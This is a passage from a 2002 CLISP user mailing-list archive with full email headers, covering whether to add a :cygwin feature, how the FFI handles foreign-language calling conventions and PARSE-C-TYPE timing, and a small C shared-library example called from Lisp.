interest me greatly. I don't doubt the Cygwin principals would accept > a CLISP package into the Cygwin contributed software. that would be great! who volunteers to submit CLISP to them? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Are you smart enough to use Lisp? From samuel.steingold@verizon.net Wed Apr 24 12:03:17 2002 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170S2o-0004oF-00 for ; Wed, 24 Apr 2002 12:03:10 -0700 Received: from gnu.org ([151.203.30.83]) by out001.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020424190257.BBTT20467.out001.verizon.net@gnu.org>; Wed, 24 Apr 2002 14:02:57 -0500 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critique of default-foreign-language) References: <20020424163620.B342@localhost.localdomain> <20020424192547.A215@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020424192547.A215@localhost.localdomain> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 12:07:45 2002 X-Original-Date: 24 Apr 2002 15:03:09 -0400 > * In message <20020424192547.A215@localhost.localdomain> > * On the subject of "Re: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critique of default-foreign-language)" > * Sent on Wed, 24 Apr 2002 19:25:47 +0200 > * Honorable Peter Wood writes: > > > I was talking about the case when _you_ write something in C _yourself_ > > and want to call that from Lisp. when you are using a pre-built DLL, > > there is obviously no C from our side involved. > > Or did you mean something completely different? yes, that's exactly what I meant. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux will write code that writes code that writes code for food From vs1100@terra.es Wed Apr 24 12:07:53 2002 Received: from mailhost2.teleline.es ([195.235.113.141] helo=tsmtp8.mail.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170S7G-0005co-00 for ; Wed, 24 Apr 2002 12:07:46 -0700 Received: from karsten.terra.es ([62.36.164.209]) by tsmtp8.mail.isp (Netscape Messaging Server 4.15 tsmtp8 Jul 26 2001 13:10:38) with ESMTP id GV36DW00.RBF; Wed, 24 Apr 2002 21:05:56 +0200 Message-Id: <5.1.0.14.0.20020424205913.00a46d90@pop3.terra.es> X-Sender: vs1100.terra.es@pop3.terra.es X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Karsten Subject: Re: [clisp-list] Cygwin feature Cc: dan.stanger@ieee.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 12:16:24 2002 X-Original-Date: Wed, 24 Apr 2002 21:05:39 +0200 Re > * Honorable Dan Stanger writes: > > I could think of a few places where having a cygwin feature would be > helpful. Currently, my cygwin build has no indication as to what > environment it is running in. There are certain pathname translation > functions in the cygwin dll that are sometimes usefull. Dan Stanger Sam writes: what does (software-version) say? On my machine [1]> (software-version) "GNU C 3.0.4" [2]> (lisp-implementation-type) "CLISP" [3]> (lisp-implementation-version) "2.28 (released 2002-03-03) (built on ME2XZ)" Please add :cygwin to features. I do a lot of #+(and excl mswindows) foo #+(and excl unix) bar .... and would love to do #+(and clisp unix (not cygwin)) foo #+(and clisp unix cygwin) bar Karsten From pjb@arcangel.dircon.co.uk Wed Apr 24 14:29:52 2002 Received: from mta02-svc.ntlworld.com ([62.253.162.42]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170UKi-0004Bg-00 for ; Wed, 24 Apr 2002 14:29:48 -0700 Received: from proxyplus.universe ([62.255.70.5]) by mta02-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020424212941.EOTW286.mta02-svc.ntlworld.com@proxyplus.universe> for ; Wed, 24 Apr 2002 22:29:41 +0100 Received: from 127.0.0.1 by Proxy+; Wed, 24 Apr 2002 21:21:14 GMT To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Cygwin feature References: <5.1.0.14.0.20020424205913.00a46d90@pop3.terra.es> From: Peter Burwood Mail-Copies-To: never In-Reply-To: Karsten's message of "Wed, 24 Apr 2002 21:05:39 +0200" Message-ID: Lines: 54 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 14:30:13 2002 X-Original-Date: 24 Apr 2002 22:21:13 +0100 Karsten writes: > Re > > * Honorable Dan Stanger writes: > > > > I could think of a few places where having a cygwin feature would be > > helpful. Currently, my cygwin build has no indication as to what > > environment it is running in. There are certain pathname translation > > functions in the cygwin dll that are sometimes usefull. Dan Stanger > Sam writes: what does (software-version) say? > > On my machine > > [1]> (software-version) > > "GNU C 3.0.4" Mine gives "GNU C 2.95.3-5 (cygwin special)" > Please add :cygwin to features. > > I do a lot of #+(and excl mswindows) foo #+(and excl unix) bar .... > and would love to do #+(and clisp unix (not cygwin)) foo #+(and clisp unix > cygwin) bar I will do this, after the points below have been resolved. I've briefly mentioned this identification problem to Sam before. Firstly, if adding :cygwin as a feature, it must be decided about how :cygwin fits in with the current features. My current build has (:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :SYSCALLS :DIR-KEY :UNIX) Adding :cygwin whilst also having :unix could be confusing. Is there a precedence for having a base OS type and a OS flavour in *features*? BTW, as you can see from the features, I am currently sorting out dir-key to work with Clisp. It is more or less working now and I will put it into CVS soon. It is possible to add other windows features. What should the features then include? :unix and :cygwin and :mswindows? This would break some code which has #+unix foo #+mswindows bar. In general, the answer would be to add a feature corresponding to the facility added, much like dir-key, rather than depending on :cygwin or :mswindows. So, is adding :cygwin to *features* is the right thing? Peter From pjb@arcangel.dircon.co.uk Wed Apr 24 14:29:53 2002 Received: from mta02-svc.ntlworld.com ([62.253.162.42]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170UKl-0004CY-00 for ; Wed, 24 Apr 2002 14:29:51 -0700 Received: from proxyplus.universe ([62.255.70.5]) by mta02-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020424212947.EOVD286.mta02-svc.ntlworld.com@proxyplus.universe> for ; Wed, 24 Apr 2002 22:29:47 +0100 Received: from 127.0.0.1 by Proxy+; Wed, 24 Apr 2002 21:29:20 GMT To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Cygwin feature References: <3CC6C09C.77A88294@ieee.org> <3CC6C09C.77A88294@ieee.org> <5.1.0.14.2.20020424084257.027689b8@pop3.cris.com> From: Peter Burwood Mail-Copies-To: never In-Reply-To: Sam Steingold's message of "24 Apr 2002 15:00:48 -0400" Message-ID: Lines: 24 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 14:30:17 2002 X-Original-Date: 24 Apr 2002 22:29:19 +0100 Sam Steingold writes: > > * In message <5.1.0.14.2.20020424084257.027689b8@pop3.cris.com> > > * On the subject of "Re: [clisp-list] Cygwin feature" > > * Sent on Wed, 24 Apr 2002 09:00:24 -0700 > > * Honorable Randall R Schulz writes: > > > > By the way, Dan, I use Cygwin extensively, so the Cygwin version would > > interest me greatly. I don't doubt the Cygwin principals would accept > > a CLISP package into the Cygwin contributed software. > > that would be great! > who volunteers to submit CLISP to them? I'll have a look at the work necessary to make a proper cygwin package. There is an issue with differences in NT/2000/XP versus 95/98/Me meaning different binaries are necessary at the moment. I think only two binaries, but maybe the target OS can be detected during startup and have a single binary that does the right thing. Ideally, I would prefer cygwin1.dll to have better support for 95/98/Me, but I think that is low down on Cygwin's priority list. Peter From samuel.steingold@verizon.net Wed Apr 24 15:59:29 2002 Received: from out019pub.verizon.net ([206.46.170.98] helo=out019.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170VjU-0008Ax-00 for ; Wed, 24 Apr 2002 15:59:28 -0700 Received: from gnu.org ([151.203.30.83]) by out019.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020424225922.ZEVR2212.out019.verizon.net@gnu.org> for ; Wed, 24 Apr 2002 17:59:22 -0500 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Cygwin feature References: <5.1.0.14.0.20020424205913.00a46d90@pop3.terra.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 71 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 16:00:02 2002 X-Original-Date: 24 Apr 2002 18:59:33 -0400 > * In message > * On the subject of "Re: [clisp-list] Cygwin feature" > * Sent on 24 Apr 2002 22:21:13 +0100 > * Honorable Peter Burwood writes: > > Karsten writes: > > [1]> (software-version) > > "GNU C 3.0.4" > > Mine gives > "GNU C 2.95.3-5 (cygwin special)" that's what I hoped for. I get "GNU C 2.96 20000731 (Red Hat Linux 7.1 2.96-98)" Apparently, gcc 3 has cygwin merged in, so it does not have "cygwin" in its version (thus this path is broken). > Adding :cygwin whilst also having :unix could be confusing. Is there a > precedence for having a base OS type and a OS flavour in *features*? CMUCL has both :unix and :linux. CLISP has always claimed that there is no differences between all the Unixes, but cygwin is different in that it is a compatibility layer, not an OS. OTOH, CLISP does not have a feature for EMX (which, IIUC, is a UNIX compatibility layer for OS/2) - which is irrelevant since OS/2 is dead. OTOH, CLISP does have a feature for BEOS - which is irrelevant since BEOS is dead. > BTW, as you can see from the features, I am currently sorting out > dir-key to work with Clisp. It is more or less working now and I will > put it into CVS soon. cool - will you make it support LDAP too? > It is possible to add other windows features. great! > What should the features then include? > :unix and yes - for backward compatibility, if nothing else. > :cygwin and yes - because it appears that the users want it... > :mswindows? no! it will break too much user code. > This would break some code which has #+unix foo #+mswindows bar. exactly. having both :unix and :win32 is schizophrenia. :-) > In general, the answer would be to add a feature corresponding to the > facility added, much like dir-key, rather than depending on :cygwin or > :mswindows. absolutely! note that we do not want to have too much in the *FEATURES* since this would clutter it, so it is good that we are discussing this issue. > So, is adding :cygwin to *features* is the right thing? I think since cygwin is both a unix and a win32, we do need to have a canonical way to detect it. I just added :CYGWIN. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Those who can laugh at themselves will never cease to be amused. From Joerg-Cyril.Hoehle@t-systems.com Thu Apr 25 04:53:52 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170hor-0000sj-00 for ; Thu, 25 Apr 2002 04:53:50 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 25 Apr 2002 13:45:19 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 25 Apr 2002 13:46:32 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] ffi::parse-c-type optimization (was: critique of default-foreign- language) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 25 04:54:04 2002 X-Original-Date: Thu, 25 Apr 2002 13:46:28 +0200 Hi, Sam wrote: > actually, in this particular case, there is no reason not to call > PARSE-C-TYPE at macroexpansion time e.g., > > (defmacro offset (place offset type &environment env) > (setq place (macroexpand place env)) > (if (foreign-place-p place 'FOREIGN-VALUE) > `(FOREIGN-VALUE (%OFFSET ,(second place) ,offset > ,(M-PARSE-C-TYPE type))) > (err `(offset ,place ,offset ,type)))) > > (defmacro M-PARSE-C-TYPE (type) > (if (constantp type) (PARSE-C-TYPE (eval type)) > `(PARSE-C-TYPE ,type))) This folding is a premature optimization IMHO. It works with simple cases (c-array uint8) and may break with others (DEF-C-STRUCT), as then a function object is stored in the signature. >(ffi::parse-c-type 'regmatch_t) #(C-STRUCT #(RM_SO RM_EO) # INT INT) I didn't find enough time to think about the relationship between compilation and load environments, nor the exact nature of this function object. CLISP's ability to output a closure to a .fas file doesn't mean that it's the correct thing to rely on here. Greetings from EQ/EQUALP/UNDECIDABLE-FUNCTION-EQUAL. Havoc can happen when resurrecting this way (c-struct class #) a closure emanating from ancient compile-times. CLISP can inline (c-struct LIST #) or (c-struct VECTOR #) safely, because # (not #'LIST!) is saved in .fas as #.(SYS::%FIND-SUBR 'common-lisp::list) and will thus be loaded without duplication. I believe DEFINE-COMPILER-MACRO is the appropriate idiom for the discussed optimization, together with LOAD-TIME-VALUE. That's how I came to recently submit a bug w.r.t. COMPILER-MACRO. When in the interpreter, evaluating a (DEF-xyz-CALL) or CAST form, PARSE-C-TYPE needs to be called in any case, so there's no point in delaying it or calling it early. My idea was along: 1. simple cases: inline expand (like you do above): (C-ARRAY uint8 2) -> '#(C-ARRAY #). 2. more convoluted, yet constant cases: (LOAD-TIME-VALUE (PARSE-C-TYPE #)) helps with (defun ... (cast ...)) example. 3. Maybe special-case `(c-array uintx ,(length foobar)) to (VECTOR 'c-array 'uintx (length #)) -- the next most common case after constant types, I suppose. That why I recently criticized that a backquote expansion is not portably defined, unlike Scheme. 4. Other: PARSE-C-TYPE (resp. PARSE-C-FUNCTION) at run-time, i.e. refuse optimizing. (defun foo (x) (CAST ... '(C-ARRAY UINT8 2)) In this case, an optimization that works for the interpreter would help it as well as the compiler, as otherwise, PARSE-C-TYPE is called by the interpreter for each invocation of FOO. LOAD-TIME-VALUE is #'identity for the interpreter. But for interpretation of DEF-*-CALL (declarative, top-level forms), PARSE-C-TYPE will have to be called anyway, so inlining (constant folding) doesn't help the interpreter. > Actually, is it possible to extract the calling convention from the > library (foo.so) itself? Then all this would be much easier. It's not. Definitely not. Even having a CORBA IDL wouldn't be enough. > 3. when the type is non-constant, we should require :LANGUAGE argument > anyway, whether by using separate forms or requiring it explicitly, > and I prefer the latter. This area is the one I thought about when I said earlier that CLISP makes no guarantees whatsoever -so far(?)- about what is parsed at what time. So the programmer cannot reliably know when it's needed. > Another thing is: suppose the library he is interfacing with was > recompiled with a different calling convention. Quite unlikely -- Never heard of. The possibility I see is specific to CLISP: turning the module based linux-libc6.lisp into a dynamic library call. > Then he would have to go over _all_ his code and replace all > DEF-STDC-STDCALL-CALL-OUT with DEF-STDC-CALL-OUT or modify all his > :LANGUAGE arguments. This is a trivial M-x query-replace ... ! or vi /// exercise. It even works with MS-Windows' pitiful Notepad. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Thu Apr 25 05:18:06 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170iCK-0006Ia-00 for ; Thu, 25 Apr 2002 05:18:05 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 25 Apr 2002 14:11:30 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 25 Apr 2002 14:12:43 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] critique of default-foreign-language MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 25 05:19:02 2002 X-Original-Date: Thu, 25 Apr 2002 14:12:36 +0200 Hi, Sam Steingold wrote: > 1. telling the users that DEFAULT-FOREIGN-LANGUAGE is for compilation > units and should _never_ be used at top-level (except by gurus :-). Actually, that's possibly the core of the problem. I was thinking of something along the lines of: constsym.d LISPOBJ(foreign_language,":STDC",ffi) # Do Not Touch This or CLISP users may kill you! -- Or possibly NIL and reset it to that value for every Lisp session. Sadly, one cannot say (defconstant *foreign-language* :STDC) and then rebind it. *FOREIGN-LANGUAGE* and its interaction with PARSE-C-TYPE is still not worked out reliably yet. >3. when the type is non-constant, we should require :LANGUAGE argument > anyway, whether by using separate forms or requiring it explicitly, > and I prefer the latter. How do you detect that "you"'re within non-constant state missing language? Or in constant-state with :language coming from default? However, I start to see a shed of light pointing to an end of this dark tunnel... Regards, Jorg Hohle From marcoxa@cs.nyu.edu Thu Apr 25 06:36:07 2002 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170jPq-0005KY-00 for ; Thu, 25 Apr 2002 06:36:06 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.11.6/8.9.3) id g3PDaTE15237; Thu, 25 Apr 2002 09:36:29 -0400 Message-Id: <200204251336.g3PDaTE15237@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: peter.wood@worldonline.dk CC: clisp-list@lists.sourceforge.net In-reply-to: <20020424192547.A215@localhost.localdomain> (message from Peter Wood on Wed, 24 Apr 2002 19:25:47 +0200) Subject: Re: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critique of default-foreign-language) References: <20020424163620.B342@localhost.localdomain> <20020424192547.A215@localhost.localdomain> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 25 06:37:02 2002 X-Original-Date: Thu, 25 Apr 2002 09:36:29 -0400 > From: Peter Wood > Content-Type: text/plain; charset=us-ascii > Content-Disposition: inline > User-Agent: Mutt/1.2.5i > Sender: clisp-list-admin@lists.sourceforge.net > X-BeenThere: clisp-list@lists.sourceforge.net > X-Mailman-Version: 2.0.9-sf.net > Precedence: bulk > List-Help: > List-Post: > List-Subscribe: , > > List-Id: CLISP user discussion > List-Unsubscribe: , > > List-Archive: > X-Original-Date: Wed, 24 Apr 2002 19:25:47 +0200 > Date: Wed, 24 Apr 2002 19:25:47 +0200 > > On Wed, Apr 24, 2002 at 11:12:42AM -0400, Sam Steingold wrote: > > > * In message <20020424163620.B342@localhost.localdomain> > > > * On the subject of "Re: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critique of default-foreign-language)" > > > * Sent on Wed, 24 Apr 2002 16:36:20 +0200 > > > * Honorable Peter Wood writes: > > > > > > On Wed, Apr 24, 2002 at 09:39:39AM -0400, Sam Steingold wrote: > > > > > > > I thought that the DLL FFI will make the current module facility DLL > > > > based too, i.e., while now modules create their own lisp.run by linking > > > > lisp.a with their *.o files, the new modules will compile to *.so > > > > (*.dll) and load them from the lisp code. > > > > > > You don't need this at all with the new FFI. Why would you want to > > > compile a monolithic (for example) linux.lisp when you can dynamically > > > (and selectively) define the foreign functions which you will be > > > needing. Why do you need a .so when you can define your functions in > > > _lisp_? What on earth do you need to fiddle with a module .so when > > > you have /libc/libc.so.6? > > > > I was talking about the case when _you_ write something in C _yourself_ > > and want to call that from Lisp. when you are using a pre-built DLL, > > there is obviously no C from our side involved. > > Hi > > If you are already writing it in C, then you can just compile it as a > shared object library and write a lisp-side defun: > > /*hello.c*/ > #include > > int greet (char *who) { > int n; > n = printf("Hello, %s!\n", who); > return (n); > } > /*end*/ > > compile: > > bash-2.04$ gcc -fPIC -c hello.c > bash-2.04$ gcc -shared -Wl,-soname,libhello.so.l -o libhello.so.1.0.1 hello.o -lc > > bash-2.04$ ./lisp.run -q -M lispinit.mem > ;; Loading file /home/prw/.clisprc ... > ;; Loading of file /home/prw/.clisprc is finished. > [1]> (load #"/home/prw/lisp/Linux/libc.lisp") > ;; Loading file /home/prw/lisp/Linux/libc.lisp ... > ;; Loading of file /home/prw/lisp/Linux/libc.lisp is finished. > T > [2]> (setf c::*base* (user::foreign-library "/home/prw/libhello.so.1.0.1")) ^^^^ Not to be too picky, but could the FFI stuff bu put into a separate package? Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From marcoxa@cs.nyu.edu Thu Apr 25 06:43:03 2002 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170jWY-0006OL-00 for ; Thu, 25 Apr 2002 06:43:02 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.11.6/8.9.3) id g3PDh9W15272; Thu, 25 Apr 2002 09:43:09 -0400 Message-Id: <200204251343.g3PDh9W15272@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: clisp@peterb.org.uk CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Peter Burwood on 24 Apr 2002 22:21:13 +0100) Subject: Re: [clisp-list] Cygwin feature References: <5.1.0.14.0.20020424205913.00a46d90@pop3.terra.es> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 25 06:44:03 2002 X-Original-Date: Thu, 25 Apr 2002 09:43:09 -0400 > From: Peter Burwood > Mail-Copies-To: never > User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 > Content-Type: text/plain; charset=us-ascii > Sender: clisp-list-admin@lists.sourceforge.net > X-BeenThere: clisp-list@lists.sourceforge.net > X-Mailman-Version: 2.0.9-sf.net > Precedence: bulk > List-Help: > List-Post: > List-Subscribe: , > > List-Id: CLISP user discussion > List-Unsubscribe: , > > List-Archive: > X-Original-Date: 24 Apr 2002 22:21:13 +0100 > Date: 24 Apr 2002 22:21:13 +0100 > > Karsten writes: > > > Re > > > * Honorable Dan Stanger writes: > > > > > > I could think of a few places where having a cygwin feature would be > > > helpful. Currently, my cygwin build has no indication as to what > > > environment it is running in. There are certain pathname translation > > > functions in the cygwin dll that are sometimes usefull. Dan Stanger > > Sam writes: what does (software-version) say? > > > > On my machine > > > > [1]> (software-version) > > > > "GNU C 3.0.4" > > Mine gives > > "GNU C 2.95.3-5 (cygwin special)" > > > Please add :cygwin to features. > > > > I do a lot of #+(and excl mswindows) foo #+(and excl unix) bar .... > > and would love to do #+(and clisp unix (not cygwin)) foo #+(and clisp unix > > cygwin) bar > > I will do this, after the points below have been resolved. I've briefly > mentioned this identification problem to Sam before. > > Firstly, if adding :cygwin as a feature, it must be decided about how > :cygwin fits in with the current features. My current build has > > (:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER > :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE > :BASE-CHAR=CHARACTER :SYSCALLS :DIR-KEY :UNIX) > > Adding :cygwin whilst also having :unix could be confusing. Is there a > precedence for having a base OS type and a OS flavour in *features*? > > BTW, as you can see from the features, I am currently sorting out dir-key to > work with Clisp. It is more or less working now and I will put it into CVS > soon. > > It is possible to add other windows features. > > What should the features then include? :unix and :cygwin and :mswindows? > This would break some code which has #+unix foo #+mswindows bar. In general, > the answer would be to add a feature corresponding to the facility added, > much like dir-key, rather than depending on :cygwin or :mswindows. > > So, is adding :cygwin to *features* is the right thing? Having both :mswindows and :unix is wrong *and* it *will* break some code I wrote (and other people's as well). I urge not to do such thing. As far as I am concerned the correct combination is (and :cygwin :mswindows (not :unix)) Cygwin is a layer on top of MS Windows. This is what it is. The host operating system is MS Windows. Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From dan.stanger@ieee.org Thu Apr 25 07:06:25 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170jtA-0001E3-00 for ; Thu, 25 Apr 2002 07:06:24 -0700 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #2) id 170jt2-0002e5-00 for clisp-list@lists.sourceforge.net; Thu, 25 Apr 2002 08:06:17 -0600 Message-ID: <3CC80DC1.C7FD389B@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Cygwin feature References: <5.1.0.14.0.20020424205913.00a46d90@pop3.terra.es> <200204251343.g3PDh9W15272@octagon.mrl.nyu.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 25 07:07:07 2002 X-Original-Date: Thu, 25 Apr 2002 08:08:01 -0600 Marco's idea here seems ok with me, but the (not :unix) seems redundant. unix and mswindows seems mutually exclusive. However, unix is in the features list in the cygwin build, and gnu configure scripts treat cygwin as a version of unix. Maybe we should vote on it. Dan Stanger Marco Antoniotti wrote: (and :cygwin :mswindows (not :unix)) > > Cygwin is a layer on top of MS Windows. This is what it is. The host > operating system is MS Windows. > > Cheers > > -- > Marco Antoniotti ======================================================== > NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 > 719 Broadway 12th Floor fax +1 - 212 - 995 4122 > New York, NY 10003, USA http://bioinformatics.cat.nyu.edu > "Hello New York! We'll do what we can!" > Bill Murray in `Ghostbusters'. > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From peter.wood@worldonline.dk Thu Apr 25 07:16:08 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170k2R-0002UD-00 for ; Thu, 25 Apr 2002 07:15:59 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id AF592B793 for ; Thu, 25 Apr 2002 16:15:43 +0200 (CEST) Received: (from prw@localhost) by 